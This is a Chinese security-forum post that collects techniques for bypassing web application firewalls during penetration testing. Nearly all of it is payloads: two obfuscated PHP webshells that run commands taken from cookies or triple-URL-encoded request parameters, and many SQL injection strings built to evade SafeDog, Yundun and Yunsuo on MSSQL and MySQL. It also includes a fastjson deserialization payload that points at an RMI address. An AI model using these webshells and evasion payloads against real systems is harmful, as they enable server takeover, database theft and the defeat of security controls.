安全矩阵

 找回密码
 立即注册
搜索
查看: 603|回复: 0

web渗透中bypass防护系统

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-12-31 12:51:51 | 显示全部楼层 |阅读模式
原文链接:web渗透中bypass防护系统


一. webshell执行命令

文件上传后向webshell传参数:
  •         三重url编码
  •         三重base64编码
  •         cookie传参
  •         参数污染

  1. <code class="hljs">http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami</code>
复制代码


cookie传参对应webshell:
x=ls

  1. <?php
  2. $p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
  3. ?>
复制代码
  1. <?php
  2. $poc ="axsxsxexrxt";
  3. $poc_1 = explode("x", $poc);
  4. $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
  5. $poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
  6. ?>
复制代码


二. sql注入

1 安全狗

mssql

安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。会拦截单引号。
  1. and @@version>~1
  2. and (user|1)>-1
  3. and (db_name()|1)>.1
复制代码


如果from后面直接跟字符或者数字,安全狗会拦截。这时候可以使用下面语句来爆表名:
  1. and ~1=(select top 1 name from[sysobjects]);--
复制代码




使用下面的语句来加上xtype的限制条件,只输出用户创建的表,可以用char或者hex编码绕过:

  1. and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--
  2. and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));
复制代码
尝试使用内联注释进行绕过:
  1. ?id=1 union/*!1*/select null,name,null from [info]--*/
复制代码




利用注释加换行,这个很好用

  1. ?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/
  2. ?id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/
复制代码


mysql

编辑
判断注入
  1. ?id='1'|1
  2. ?id='1'|2
  3. ?id='1'&2
  4. ?id='1'&1
  5. ?id='1'<~1
  6. ?id=1' and CONCAT(1)-- +
  7. ?id=1' and CONCAT(0)-- +
  8. ?id=1' and CONV(1,11,2)-- +
  9. ?id=1' and CONV(0,11,2)-- +
  10. ?id=1' and BINARY 1-- +
  11. ?id=1' and BINARY 0-- +
复制代码


内联注释绕过,fuzz版本号:
编辑

  1. ?id=1' union/*!11440select*/ 1,2,3--+
  2. ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+
复制代码


注释加换行,重点就在如何让换行符起作用:
  1. union %23%0aall select
  2. union  -- hex()%0a select
复制代码


参数污染,在php/apache 中 它总解析最后一个id

  1. ?id=-1' /*&id='union select 1,user(),3 -- +*/
  2. ?id=-1' /*&id=' union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1\
复制代码


绕过information_schema:
  1. `information_schema`.schemata
  2. `information_schema`.`schemata`
  3. information_schema.`schemata`
  4. (information_schema.schemata)
  5. information_schema/**/.schemata
复制代码


时间盲注:
  1. and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
复制代码




布尔盲注
  1. /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)=r  #结果如果为true,则用户有可能是root
  2. and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r
  3. /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1
  4. and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=unhex(72)
复制代码


编辑
编辑
报错注入
  1. /*updatexml*/(1,1,1)
  2. /*!5000updatexml*/(1,1,1)
  3.   /*!11440updatexml*/(1,1,1)
  4.   /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)   #and运算符
  5.   /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
  6.    | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
  7.    xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
  8.    /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
复制代码
  1. ?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +
复制代码



2 云盾

mysql

云盾无法被/**/这种符号bypass,因此内联注释无法使用,但是它对逻辑运算符的符号形式过滤不是特别强。
用&&替代and用||替代or即可,用!代替非逻辑。
  1. <code>and ~1=1  </code>

  2. <code>and!!!1=1 </code>
  3. <code>
  4. and 1-1   </code>
  5. <code>
  6. and true</code>
  7. <code>
  8. and 1</code>
复制代码


盲注
  1. <code class="hljs">and!!!substr((select user-- (1)%0a()),1,1)='r'</code>
复制代码


union
  1. <code class="hljs">union(select 1,2,3)</code>
复制代码


报错注入
  1. <code class="hljs">and `updatexml`(1,select `user`%0a(),1)</code>
复制代码


3 云锁
mysql

编辑
  1. <code>and 'a'-0 #后面的值是0,相当于and 0
  2. </code><code>and 'a'|1 #后面的值是1,相当于and 1</code>
复制代码


布尔盲注利用注释和换行
  1. <code>and strcmp((substr((select user/**/()),2,1)),'0')</code><code>?id=1'  
  2. and strcmp((substr((select /*from*/),2,1)),'0')-- + </code><code>?id=1'  
  3. and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +</code>
复制代码


报错注入
  1. <code class="hljs">?id=1'  and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +</code>
复制代码


fastjson

safeline

  1. <code class="hljs">{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}</code>
复制代码


三. 参考文章

https://y4er.com/post/bypass-mysql-safedog/
https://y4er.com/post/bypass-mysql-yunsuo/
https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/
https://github.com/shanfenglan/M ... 6%80%9D%E8%B7%AF.md


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 16:42 , Processed in 0.015421 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表